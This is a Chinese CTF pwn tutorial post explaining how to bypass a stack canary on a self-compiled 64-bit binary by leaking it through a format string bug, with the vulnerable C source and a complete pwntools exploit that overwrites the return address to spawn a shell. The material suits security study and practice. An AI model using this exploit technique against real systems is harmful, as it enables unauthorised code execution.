ctf pwn基础-2
今天学了一个保护的绕过,这里讲一讲,这个好像是使用的是格式化字符串漏洞。
目录
基础
实例讲解
基础
首先我们要知道什么是canary保护,就是在入栈EBP以后加一个Canary
我可能讲的不是很好,大家可以看看这些 文章
用通俗一点将就是一个矿工带来一只老鼠进去矿洞,这里可以理解为fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈,然后再采矿的结束的时候,老鼠检测到有瓦斯很多,然后他们都没了,这里可以理解为最后值变了,不是我们存进去的值不一样了,就会提前停止,就是为了防止溢出,但是反过来最后检测一样的话,就可以了。
所以我们最终的目的都是为了获得canary的真实地址,就可以溢出了。
实例讲解
首先在上面我就说了,我使用的是格式化字符串漏洞获得的字符串,这里大家可以先了解了解什么是格式化字符串漏洞
下面是实例代码
#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);printf(str);read(0, str, 0x50);
}
int main()
{func();return 0;
}
//这里编译一下然后加上canary保护
gcc -z execstack -no-pie -z norelro -fstack-protector-all 03.c -o 3
没错64位,只开启了canary保护。
这里使用ida看看,exploit函数这里我们看到了shell,是一个重点。
因为main是直接进入func方法,这里就直接看看func方法,这里有一个很重要的东西,这里设置buf变量的值,是占用40个字节,就是0x28,这个位置成员变量到canary的长度,但是还是有一个偏移量的,这里我们可以通过格式化字符串漏洞知道,然后read那里大家都应该知道了是存在溢出的。
我们执行我们编译好的,然后输入下面这一串,那里一群4141代表的就是AAAAAA,这里数一数他是第几个,嗯,第六个,那么偏移就是6,加上上面成员变量的40个字节,因为64位8个字节代表一位,这里40个字节就是5位,那么11位就是canary的真实地址了。
而且通常canary最后两位都是00,嗯,应该就是这个了。
所以我们写payload的思路就是
首先填充满成员变量就是40个字节=0x28,然后就是canary的真实地址绕过检测,最后填入0x8个值填满ebp,最后我们就是随意return了。
from pwn import *p = process("./3")#输入%11$p查看canary的真实地址
p.sendline("%11$p")
#获取返回值,且没有\n
canary = p.recvline(keepends=False)
#对canary进行处理,从bytes变成10进制
canary = int(canary.decode(),16)
print(canary)
off = 0x28# 先传入40个值填满成员变量,然后输入正确的canary,在填满rbp
# 然后定义到return的位置,最后return到shell中就可以了
payload = b'a'*off + p64(canary) +b"a"*0x8+p64(0x0000000000401251) +p64(0x0000000000401196)
#print(payload)
p.sendline(payload)
p.interactive()
ctf pwn基础-2相关推荐
- CTF PWN基础知识(寄存器、栈、汇编指令、标志位)详解
本文中寄存器缩写都有标注上中文含义,方便初学者理解记忆. 寄存器: 寄存器是计算机暂存指令.数据和地址的地方. 常用寄存器及其功能整理: RIP:程序计数寄存器,来存放下一条即将用来执行的指令的地址, ...
- CTF PWN之精确覆盖变量数据
刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢? 我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及ch ...
- [Bugku CTF——Pwn] pwn2
[Bugku CTF--Pwn] pwn2 题目地址:https://ctf.bugku.com/ 额,好久不写这么简单的题目了 利用栈溢出修改返回地址就好, 如果不会就去看看什么是栈溢出 explo ...
- [Bugku CTF——Pwn] pwn4
[Bugku CTF--Pwn] pwn4 题目地址:https://ctf.bugku.com/ 给的提示很清楚,绕过canary保护 那就绕过就好 题目当中有system函数 利用ROPgadge ...
- [Bugku CTF——Pwn] pwn1
[Bugku CTF--Pwn] pwn1 题目地址:https://ctf.bugku.com/ 额, 直接nc连接上,就可以直接得到shell 好水哦,新手玩玩就好,老鸟勿喷 无语凝噎 cat f ...
- CTF|pwn栈溢出入门题level3解题思路及个人总结
CTF|pwn栈溢出入门题level3解题思路及个人总结 解题思路 拿到题目将文件下载下来拖入ubuntu 发现这一次的文件比较特殊:是一个linux环境下的压缩包,自然而然想到的是解压它 通过命令行 ...
- [PWN][基础篇]基础理论
[PWN][基础篇]基础理论 1.相关知识 2.栈帧 3.实例教学 1.相关知识 溢出概念:在计算机中,当要表示的数据超出计算机所使用的的数据表示范围时,产生了数据的溢出 产生的原因: 1.使用了非类 ...
- CTF pwn题堆入门 -- Unsorted bin
Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...
- TAMU ctf pwn部分wp+赛后
TAMU ctf pwn部分wp 国外的题目,终端连不上就很gan ga...... Tr*vial 大水题,栈溢出,ret2text exp from pwn import *context(arc ...
最新文章
- 微型计算机系统外文,微型计算机控系统(单片机控制系统) 毕业论文外文翻译.doc...
- spring boot部署war包打包插件配置
- [转载]C#时间函数
- 我一个女孩子居然做了十年硬件。​。。
- django入门记录 2
- 《操作系统真象还原》——0.23 操作系统是如何识别文件系统的
- HTTP 和 HTTPS 两种传输协议各自含义是什么?二者使用有什么区别?
- java归并排序代码_Java归并排序算法
- 模板方法(Template)模式
- 最短路径之弗洛伊德算法
- 简述线程、程序、进程的基本概念。以及他们之间关系是什么?
- 研究所月入两万?见过越上班工资越少的骚操作吗...
- python 可视化 词云图
- [渝粤教育] 西南科技大学 财务会计 在线考试复习资料(2)
- 使用fontforge精简字体文件
- 2017个人工作感悟
- 应用交付为什么会受到用户青睐
- kotlin 仿照setOnclickListener写法
- c语言实现1024点fft程序,数字信号处理的步骤与注意事项,并编写1024个采样点的FFT C语言程序...
- GuiLite 2.0 发布:Golang 的 GUI 外衣
热门文章
- 关于参与新星计划的那一刻
- 【HTML】2022国庆假期 HTML学习笔记
- 全平台辅助答题(PHP版)
- 计算一班总分 使用的计算机公式是,班级学科均量值意义及计算方法简介
- spark做聚合计算
- 手机wap网站建设的方法和技巧
- 销售人员如何打好专业基础、成为一名合格的销售?
- esxi6.7虚拟机无法开机,提示“没有更多空间可供虚拟磁盘server-000001.vmdk使用。也许通过释放相关卷上的磁盘空间并单击 重试 继续此会话,单击 取消 可终止此会话”
- 2023年中国地质大学(北京) 机械考研考情上岸前辈初复试备考经验
- 14岁男孩玩手机上瘾,家长说了也不管用